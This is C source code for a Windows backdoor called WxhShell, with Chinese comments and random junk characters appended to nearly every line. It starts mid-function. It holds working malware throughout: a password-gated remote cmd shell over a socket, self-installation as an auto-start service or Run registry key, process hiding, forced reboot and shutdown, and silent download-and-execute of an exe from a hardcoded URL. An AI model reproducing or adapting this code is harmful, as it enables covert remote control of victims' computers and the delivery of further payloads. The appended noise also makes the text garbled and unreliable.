    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .<<RI8A  
    if(Boot(SHUTDOWN)) YjTRz.e{[7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wy[Ua#Dd  
    else { )e$}sw{t  
    closesocket(wsh); |(Bc0sgw}  
    ExitThread(0); 3Vu_-.ID  
    } $fhb-c3  
    break; r{V=)h  
    } INd:_cT4l  
  // 获取shell 8+>r!)Q+  
  case 's': { H+oQ L(i|_  
    CmdShell(wsh); t4RI%m\  
    closesocket(wsh); 1gA9h-'w  
    ExitThread(0); Qd %U(|  
    break; w$X"E*~>8  
  } J 8z|ua  
  // 退出 "h-G=vo,kl  
  case 'x': { <}@*i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XA&Vtgu  
    CloseIt(wsh); oV)#s!  
    break; DHUK_#!  
    } |# _F  
  // 离开 vqC!Ajm  
  case 'q': { U.fL uKt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5 (Lw-_y#  
    closesocket(wsh); _</>`P[  
    WSACleanup(); *kmD/J  
    exit(1); \i*QKV<  
    break; i;u#<y{E  
        } *Vbf ;=Mb  
  } VO (KQx  
  } }=dUASL  
&%@b;)]J  
  // 提示信息 B#>7;xy>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y ,Iv<Hg  
} \F$Vm'f_  
  } r9nyEzk  
" vW4"R6  
  return; LFzL{rny!U  
} -W/Lg5eK  
b9 F:X  
// shell模块句柄 i#&iT P`  
int CmdShell(SOCKET sock) r%craf  
{ I`$"6 Xy  
STARTUPINFO si; g[D(]t\#x  
ZeroMemory(&si,sizeof(si)); Y<4%4>a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -x~4@~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W E-cq1)  
PROCESS_INFORMATION ProcessInfo; s?fO)7ly  
char cmdline[]="cmd"; +f}u.T_#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0tL#-47  
  return 0; 9BZyCz  
} 5^,"Ve|  
+N|}6e  
// 自身启动模式 &V`~ z e  
int StartFromService(void) ftr8~*]O  
{ 9+"R}Nxv^  
typedef struct yHXQCWY{8;  
{ }T)0:DF1,  
  DWORD ExitStatus; ]^ e4coC  
  DWORD PebBaseAddress; c Y C@@?  
  DWORD AffinityMask; qG]G0|f  
  DWORD BasePriority; \aEarIX#*  
  ULONG UniqueProcessId; AHo4% 5  
  ULONG InheritedFromUniqueProcessId; ?M}W ;Z  
}   PROCESS_BASIC_INFORMATION; jkVX>*.|oy  
K&Sz8# +  
PROCNTQSIP NtQueryInformationProcess; _Q**4  
q =\3jd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }nsxo5WP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '%W`:K'  
:t7M'BSm2z  
  HANDLE             hProcess; pie,^-_.g  
  PROCESS_BASIC_INFORMATION pbi; ^69ZX61vt  
8\N`2mPt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >FR;Ux~a  
  if(NULL == hInst ) return 0; !`A]YcQ  
r1jsw j%7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0qCx.<"p8#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j(QK0"z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fn~Jc~[G|  
m,Fug1+N  
  if (!NtQueryInformationProcess) return 0; F[ '<;}  
8l50@c4UF~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Izapx\GK9  
  if(!hProcess) return 0; R v/=bY  
$:RP tG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3axbW f3[  
^$D2fS  
  CloseHandle(hProcess); Fk-}2_=v i  
'm4v)w<y#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JZUf-0q  
if(hProcess==NULL) return 0; !4/s|b9K  
f\|R<3 L  
HMODULE hMod; \FL`b{!+ N  
char procName[255]; f4 [Bj{F  
unsigned long cbNeeded; dsUt[z1w5  
k"L?("~   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >jBa  
M>yt\qbkA  
  CloseHandle(hProcess); %3@a|#g  
ru5T0w";V  
if(strstr(procName,"services")) return 1; // 以服务启动 ] 'B4O1  
8HaBil  
  return 0; // 注册表启动 YQ`m;<  
} K:JM*4W  
A7hWAq  
// 主模块 a3Fe42G2c|  
int StartWxhshell(LPSTR lpCmdLine) ssx #\  
{ 0sR+@\  
  SOCKET wsl; |EjMpRNE  
BOOL val=TRUE; ar%!h~  
  int port=0; 2," (  
  struct sockaddr_in door; !</Snsi  
Q+ogVvMq>  
  if(wscfg.ws_autoins) Install(); n a3st*3V_  
Cu`uP[# ch  
port=atoi(lpCmdLine); Lc?q0x^s  
kWKAtv5@w  
if(port<=0) port=wscfg.ws_port; K]Rb~+a<  
hgmo b"o  
  WSADATA data; u]uUm1Er  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |/M^q{h&7s  
.!^}sp,E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Y=X{3+~.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F5(DA  
  door.sin_family = AF_INET; AB0>|.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <0M 2qt8  
  door.sin_port = htons(port); T:G8xI1 P  
3yXSv1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sq;nUA=  
closesocket(wsl); 4r- CF#o  
return 1; .1@8rVp7  
} 5_yu4{@;y  
Z< 4Du  
  if(listen(wsl,2) == INVALID_SOCKET) { +W}dO#  
closesocket(wsl); dSkx*#FEE  
return 1; 9N*!C{VW  
} X[;-SXq  
  Wxhshell(wsl); d+iV19#i  
  WSACleanup(); +)06*"I  
#sJL"GB  
return 0; ~1g)4g~  
/f Ui2[y  
} Mf_urbp]  
*vS)aRK  
// 以NT服务方式启动 1(4}rB3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :vWixgLg  
{ 6qYK"^+xu  
DWORD   status = 0; QZ?%xN(4  
  DWORD   specificError = 0xfffffff; L_(Y[!  
/@xL {  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .{t]Mc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |k [hk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hha!uD~(  
  serviceStatus.dwWin32ExitCode     = 0; dZ;rn!dg>  
  serviceStatus.dwServiceSpecificExitCode = 0; s^lm 81;  
  serviceStatus.dwCheckPoint       = 0; <%ZlJ_cM  
  serviceStatus.dwWaitHint       = 0; U_oei3QP  
CeD(!1V G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v;$cx*?  
  if (hServiceStatusHandle==0) return; ;>jLRx<KC  
#}8 x  
status = GetLastError(); [`/d$V!e  
  if (status!=NO_ERROR) %;-r->  
{ yE=tuHv(0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !IAd.<,  
    serviceStatus.dwCheckPoint       = 0; yGZsPQIaV  
    serviceStatus.dwWaitHint       = 0; p/4}SU  
    serviceStatus.dwWin32ExitCode     = status; Q?WgGE4>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ELa:yIl0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JM>4m)h#  
    return; YLkdT%  
  } 9zac[t no  
J=7<dEm&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f J$>VN  
  serviceStatus.dwCheckPoint       = 0; =+>^:3cCQ  
  serviceStatus.dwWaitHint       = 0; E7AYK&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -s,guW |  
} &O;' ?/4 S  
%YV3-W8S0  
// 处理NT服务事件,比如:启动、停止 m14OPZ<3?-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %5-   
{ A"pV 7 y  
switch(fdwControl) LPK[^  
{ T.B} k`$  
case SERVICE_CONTROL_STOP: I?#B_R#  
  serviceStatus.dwWin32ExitCode = 0; 1Uf8ef1,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .N~YVul[a*  
  serviceStatus.dwCheckPoint   = 0; H;kk:s'  
  serviceStatus.dwWaitHint     = 0; { cMf_qQ  
  { ;UoXj+Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -gR }^D   
  } e,I{+ ^P  
  return; >X0c:p Pu  
case SERVICE_CONTROL_PAUSE: T*v@hbJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b _%W*Q  
  break; C=!YcJ9  
case SERVICE_CONTROL_CONTINUE: |p"4cG?)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M F_VMAq  
  break; A;e0h)F$-  
case SERVICE_CONTROL_INTERROGATE: <rAWu\d;  
  break; ]~J.YX9ST  
}; Qu6Q)dZ<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ganXO5T$  
} !PuW6  
\r^*4P,,  
// 标准应用程序主函数 C Y K W4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 01AzM)U3"m  
{ DY'1#$;  
* u{CnH  
// 获取操作系统版本 RQt\_x7P  
OsIsNt=GetOsVer(); &.`/ln  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n=tg{_9f%  
<'l;j"&lp  
  // 从命令行安装 &bw ``e&c  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9G)q U  
`|d&ta[{  
  // 下载执行文件 Tt*n.HA  
if(wscfg.ws_downexe) { (U#9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :"e,& %  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3|g]2|~w@h  
} mbCY\vEl  
+' f38D*  
if(!OsIsNt) { '@ C\,E  
// 如果时win9x,隐藏进程并且设置为注册表启动 pGhA  
HideProc(); 3t^r;b  
StartWxhshell(lpCmdLine); L?~-<k  
} Kl)PF),  
else gt= _;KZ  
  if(StartFromService()) fsVQZ$h73  
  // 以服务方式启动 ^7O,Vk"Z  
  StartServiceCtrlDispatcher(DispatchTable); G: p!PB>=  
else ' *x?8-KP  
  // 普通方式启动 FMBzTD  
  StartWxhshell(lpCmdLine); ~IP3~m D  
]'a9>o  
return 0; <+2M,fq+  
} "Ca?liy  
2 - ?  
5 qW*/  
v\gCgx=%j  
=========================================== -+#g.1UL/  
7<?~A6  
tzFgPeo$;  
l<l6Ey(  
MX.=k>  
!Qd4Y=  
" lY_&P.B  
V$7SVq  
#include <stdio.h> TtaVvaz~>  
#include <string.h> )^o7%KX  
#include <windows.h> QX$i ]y%S  
#include <winsock2.h> ]/y&5X  
#include <winsvc.h> 3#@ETt0X(  
#include <urlmon.h> &bO0Rn1F  
xo46L\  
#pragma comment (lib, "Ws2_32.lib") nS}XY  
#pragma comment (lib, "urlmon.lib") HBc^[fJ^-  
8}0O @ wq  
#define MAX_USER   100 // 最大客户端连接数 jLEwFPz  
#define BUF_SOCK   200 // sock buffer s)~6 0c  
#define KEY_BUFF   255 // 输入 buffer TLk=H Gw  
u\-f\Z7  
#define REBOOT     0   // 重启 Jc:gNQCsP  
#define SHUTDOWN   1   // 关机 -r!N; s$t  
2nFSu9}+r  
#define DEF_PORT   5000 // 监听端口 XdDy0e4{%<  
.CL\``  
#define REG_LEN     16   // 注册表键长度 6jRUkI-!  
#define SVC_LEN     80   // NT服务名长度 1x^(vn#=  
K8l|qe  
// 从dll定义API U_UX *  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W&U Nk,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =N9a!i i|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fi2@`37PM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N:y3tpG  
6BJPQdqSl  
// wxhshell配置信息 _"PT O&E  
struct WSCFG { ZMHb  
  int ws_port;         // 监听端口 :(|;J<R%_  
  char ws_passstr[REG_LEN]; // 口令 [7~ !M*o9  
  int ws_autoins;       // 安装标记, 1=yes 0=no JRm:hf'  
  char ws_regname[REG_LEN]; // 注册表键名 s9wc ZO  
  char ws_svcname[REG_LEN]; // 服务名 @Ee'nP   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hoc$aqP6pp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <Cvlz^K[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H-9%/e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q`Q%;%t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tBp146`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GB(o)I#h  
A(mU,^  
}; "(hhb>V1Wl  
R^.oM1qu|  
// default Wxhshell configuration 0wLu*K5$4E  
struct WSCFG wscfg={DEF_PORT, d (Fb_  
    "xuhuanlingzhe", 7J]tc1-re  
    1, E0<9NF Qr7  
    "Wxhshell", aMSX"N"ot  
    "Wxhshell", -|MeC  
            "WxhShell Service", `o 6Hm  
    "Wrsky Windows CmdShell Service", 8} \Lt  
    "Please Input Your Password: ", /.<T^p@\&  
  1, vMiZ:*iaj@  
  "http://www.wrsky.com/wxhshell.exe", HXTBxh  
  "Wxhshell.exe" [lqwzW{(UN  
    }; '*5I5'[ X,  
DHO6&8S  
// 消息定义模块 9=j"kXFf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2NLD7A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^G+1nY4? J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x?:[:Hf   
char *msg_ws_ext="\n\rExit."; }jM&GH1  
char *msg_ws_end="\n\rQuit."; /#z5bo  
char *msg_ws_boot="\n\rReboot..."; ec: ?Q0  
char *msg_ws_poff="\n\rShutdown..."; ISI\< qx  
char *msg_ws_down="\n\rSave to "; ;^}gC}tq  
a a=GW%  
char *msg_ws_err="\n\rErr!"; 0Ii* "?s  
char *msg_ws_ok="\n\rOK!"; G}d-L!YbE'  
r=<Oy1m/  
char ExeFile[MAX_PATH]; fQ5V RpWGn  
int nUser = 0; 1nb]~{l  
HANDLE handles[MAX_USER]; l@a>"\><i*  
int OsIsNt; :=BFx"Y  
9Xt5{\PJ  
SERVICE_STATUS       serviceStatus; ErK5iTSD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -aDGXQM{~  
/vi>@a  
// 函数声明 m]8rljo  
int Install(void); L'LZK  
int Uninstall(void); $9DV }  
int DownloadFile(char *sURL, SOCKET wsh); sv0) sL  
int Boot(int flag); M-3kF"  
void HideProc(void); d0y [:  
int GetOsVer(void); CA)DQYp{  
int Wxhshell(SOCKET wsl); Z5re Fok  
void TalkWithClient(void *cs); NDW6UFd>1  
int CmdShell(SOCKET sock); wfQ 6J0  
int StartFromService(void); 6fhH)]0  
int StartWxhshell(LPSTR lpCmdLine); .7Zb,r  
%e2,p&0G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cF9bSY_Eh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xm./XC  
P08=?  
// 数据结构和表定义 GndU}[0J  
SERVICE_TABLE_ENTRY DispatchTable[] = pe>R2<!$  
{ TT3GFP  
{wscfg.ws_svcname, NTServiceMain}, \kU0D  
{NULL, NULL} aA?Uf~ "t  
}; &FF%VUfQJ  
96UL](l(`  
// 自我安装 .5*h']iFr1  
int Install(void) ;0ap#6T  
{ )mw#MTv<[  
  char svExeFile[MAX_PATH]; +:3K?G -  
  HKEY key; ct+ ;W  
  strcpy(svExeFile,ExeFile); t{#B td  
FS7 _ldD  
// 如果是win9x系统,修改注册表设为自启动 JsohhkJNGi  
if(!OsIsNt) { cRPW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;/w-7O:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q H:k5V~  
  RegCloseKey(key); _KBN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j^#4!Ue  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9MQ!5Zn  
  RegCloseKey(key); S)T]>Ash  
  return 0; P,-f]k[_  
    } @sUYjB  
  } r>4HF"Nm  
} jnfktDV'  
else { TbqH-R3W  
^'j? { @  
// 如果是NT以上系统,安装为系统服务 ]n9o=^q/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A)9OkLrc  
if (schSCManager!=0) o! W 71  
{ ocCq$%Ka  
  SC_HANDLE schService = CreateService #@s[!4)_I  
  ( lXH?*  
  schSCManager, @X@?jj&  
  wscfg.ws_svcname, Y ;$wD9W  
  wscfg.ws_svcdisp, {"T$j V:GB  
  SERVICE_ALL_ACCESS, $VOSd<87  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HriY-=ji>a  
  SERVICE_AUTO_START, :.wR*E  
  SERVICE_ERROR_NORMAL, *->2$uWP  
  svExeFile, bBwQ1,c$  
  NULL, iV#sMJN9  
  NULL, `|maf=SnY5  
  NULL, {;uOc{~+  
  NULL, 5}S~8  
  NULL nBw4YDR!  
  ); 0LEJnl  
  if (schService!=0) 72uARF  
  { \)KLm  
  CloseServiceHandle(schService); RCM;k;@8V  
  CloseServiceHandle(schSCManager); 1vKAJ<4W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FXMrD,qVg  
  strcat(svExeFile,wscfg.ws_svcname); !C13E lf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZfMDyS$.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MIa#\tJj  
  RegCloseKey(key); {k BHZ$/  
  return 0; j#:IG/)GL  
    } 7A6Qrfw  
  } (QS4<J"  
  CloseServiceHandle(schSCManager); 8t)5b.PS  
} wq K:=  
} L=g(w$H  
W:5uoO]=<  
return 1; HRQ3v`P.  
} G8bc\]  
{}gx;v)  
// 自我卸载 'W'['TV  
int Uninstall(void) 9)P-<  
{ :wWPEhK  
  HKEY key; u={A4A#  
(*qMs)~]B  
if(!OsIsNt) { >\f'QQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4FwtC"G3  
  RegDeleteValue(key,wscfg.ws_regname); 7]\_7L|>]  
  RegCloseKey(key); h 8Shf"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g$X4ZRSel  
  RegDeleteValue(key,wscfg.ws_regname); b&wyp@k  
  RegCloseKey(key); 8v{0=9,Z  
  return 0; 'PO+P~|oa&  
  } }4$k-,1S  
} Sq<ds}o'8l  
} ;og[ q  
else { c+dmA(JC  
Z+p'3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {X r|L  
if (schSCManager!=0) #bIUO2yVo  
{ %?2:1o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b*5Yy/U  
  if (schService!=0) {HF,F=W  
  { q>X30g  
  if(DeleteService(schService)!=0) { Y8i'=Po%,  
  CloseServiceHandle(schService); 9Rf})$o+  
  CloseServiceHandle(schSCManager); #_(t46  
  return 0; @%"+;D  
  } 3lh^maQ]  
  CloseServiceHandle(schService); L0^rw|Z%'  
  } ][D/=-  
  CloseServiceHandle(schSCManager); V^S` d8?  
} G q&[T:  
} )t?_3'W  
0:C^-zrx  
return 1; ,ma4bqRMc  
} !tuN_  
rlRRGJ\l  
// 从指定url下载文件 ;\mTm;]G  
int DownloadFile(char *sURL, SOCKET wsh) %DQ!#Nl*  
{ `4Db( ~  
  HRESULT hr; {zNFp#z  
char seps[]= "/"; mMt~4(5  
char *token; Q[6<Y,}(pd  
char *file; zn+5pn&?  
char myURL[MAX_PATH]; rl__3q  
char myFILE[MAX_PATH]; ;o#wK>pk%M  
506AvD  
strcpy(myURL,sURL); B5R/GV  
  token=strtok(myURL,seps); =w,cdU*  
  while(token!=NULL) }LA7ku  
  { +$CO  
    file=token; #Y_v0.N  
  token=strtok(NULL,seps); bnZ`Wc*5b  
  } b<E0|VW  
C@F3iwTtp  
GetCurrentDirectory(MAX_PATH,myFILE); EJByYk   
strcat(myFILE, "\\"); M[:},?ah0  
strcat(myFILE, file); [&MhAzF  
  send(wsh,myFILE,strlen(myFILE),0); hLo'q^mGr  
send(wsh,"...",3,0); .9uw@ Eq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x2M{=MExE.  
  if(hr==S_OK) o0 &pSCK  
return 0; .E/NlGm[  
else SbYs a  
return 1; zNh$d;(O$^  
+)<H,?/  
} .}*_NU   
_mG>^QI.  
// 系统电源模块 1)N~0)dO  
int Boot(int flag) u^X,ASkQ  
{ a? <Ar#)j  
  HANDLE hToken; e b*w$|y6"  
  TOKEN_PRIVILEGES tkp; n38l!m(.  
y%Wbm&h  
  if(OsIsNt) { Gi S{=+=5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #U ?=D/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nq,P.~l  
    tkp.PrivilegeCount = 1; d>bS)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wM0P#+bA\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z$]HZ#aRE  
if(flag==REBOOT) { p6*|)}T_%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kc#42 C;t/  
  return 0; .!2Ac  
} \0bZ1"  
else { mA" 82"   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JANP_b:t  
  return 0; Xxmvg.Nl  
} OE8H |?%  
  } ^(.utO  
  else { k<.VR"I p  
if(flag==REBOOT) { @'lO~i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) no UXRQ  
  return 0; 8 aC]" C  
} R2B0?fu  
else { ptCAtEO72  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;Y@"!\t}  
  return 0; wPRs.(]_  
} (cpaMn@)g  
} cuUlr  
Q"D%xY  
return 1; M].D27  
} ?]Z EK8c  
bA*T1Db,t>  
// win9x进程隐藏模块 O ]Stf7]%;  
void HideProc(void) O~u@J'4  
{ <f/wWu}  
RxrUnMF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [*2|#KSCX  
  if ( hKernel != NULL ) maINp"#  
  { P%^\<#Ya7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f^D4aEU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C+<z ;9`  
    FreeLibrary(hKernel); }29Cm$p  
  } N^U<;O?YDW  
$P7G,0-  
return; I]B[H6  
} 0ofl,mXW  
t^(#~hx  
// 获取操作系统版本 Z`97=:W  
int GetOsVer(void) |@lVFEl]  
{ $"`9QD~  
  OSVERSIONINFO winfo; Mz:t[rfs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r\f|r$i  
  GetVersionEx(&winfo); }RPeAcbU_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _3{,nhkf:!  
  return 1; :1(UC}v  
  else 7iM;X2=7}  
  return 0; %m0x]  
} _!'sj=n]q  
_0c$SK  
// 客户端句柄模块 ,Z 1W3;O  
int Wxhshell(SOCKET wsl) V9r58hbVT  
{ {I~[a#^  
  SOCKET wsh; ?ybX &V  
  struct sockaddr_in client; Pln*?o  
  DWORD myID; jy2@t*  
B$kp\yL  
  while(nUser<MAX_USER) g"&e*fF  
{  ~hxo_&  
  int nSize=sizeof(client); r1!]<=&\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WKB@9Vfju  
  if(wsh==INVALID_SOCKET) return 1; /naGn@m5u  
7IV:X _y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R404\XGL  
if(handles[nUser]==0) ;th]/ G  
  closesocket(wsh); !YJ^BI    
else DJ#z0)3<p  
  nUser++; {Vj25Gt  
  } DZ9qIc}Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0Fi&7%  
D_MNF =7  
  return 0; O&c~7tM%  
} $xsmF?Dsx5  
@N0(%o&  
// 关闭 socket {x8UL7{  
void CloseIt(SOCKET wsh) $}/Q%r  
{ Q8sCI An{  
closesocket(wsh); %=O$@.%Zc  
nUser--; Hxm CKW!  
ExitThread(0); YvP u%=eF  
} gc6T`O-_;  
0XNj! ^&  
// 客户端请求句柄 iTq~ ^9G  
void TalkWithClient(void *cs) hm5A@Z   
{ )xMP  
\jcEEIEi  
  SOCKET wsh=(SOCKET)cs; b2vc  
  char pwd[SVC_LEN]; >X(,(mKi  
  char cmd[KEY_BUFF]; .O+qtk!  
char chr[1]; ]CIZF,  
int i,j; @`X-=GCl  
Pv(icf l|  
  while (nUser < MAX_USER) { dqvgyyq  
Mi5"XQ>/  
if(wscfg.ws_passstr) { !Ci\Zg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [!v| M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?-e'gC  
  //ZeroMemory(pwd,KEY_BUFF); b@&ydgmaQ  
      i=0; 43?J~}<Vs  
  while(i<SVC_LEN) { G3G"SJ np  
}813.U  
  // 设置超时 5E#koy7 $s  
  fd_set FdRead; fWBI}~e  
  struct timeval TimeOut; u+RdC;_  
  FD_ZERO(&FdRead); sN `NZyG  
  FD_SET(wsh,&FdRead); jSj (ZU6  
  TimeOut.tv_sec=8; }Pj3O~z  
  TimeOut.tv_usec=0; 1jhGshhp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R{"7q:-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |F'k5Lh  
1wqsGad+;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oV c l (  
  pwd=chr[0]; r|WoM39bp  
  if(chr[0]==0xd || chr[0]==0xa) { 0*.> >rI  
  pwd=0; N!e?K=}tL  
  break; Dl#%tYL+3h  
  } ')ErXLP_  
  i++; &dV|~xA6N  
    } f'\NGL  
B0:[3@P7  
  // 如果是非法用户,关闭 socket F<UEipe/N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3ppY@_1  
} |x AwiF_  
wghz[qe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3psCV=/z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &!3=eVg  
3d{v5. C#X  
while(1) { Y.Er!(pz  
$UZ4,S?V  
  ZeroMemory(cmd,KEY_BUFF); 35;)O -  
BHwQB2t gc  
      // 自动支持客户端 telnet标准   T1y,L<7?  
  j=0; J]f\=;z;<a  
  while(j<KEY_BUFF) { at/v.U |F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C_[V[k0(  
  cmd[j]=chr[0]; lxRzyx  
  if(chr[0]==0xa || chr[0]==0xd) { FRicHs n  
  cmd[j]=0; fWR]L47n  
  break; O/IW.t  
  } qO<'_7TN[  
  j++; xy% lp{  
    } ua['rOnU  
j${:Y$VmE  
  // 下载文件 UC^Bn1  
  if(strstr(cmd,"http://")) { W"rX$D [Le  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AcN~Q/xU  
  if(DownloadFile(cmd,wsh))  {Y9m;b,X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c 25wm\\  
  else =GQ?P*x|$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )>ed6A1  
  } V 'Gi2gNaP  
  else { E( M\U5o:  
[H#I:d-+\  
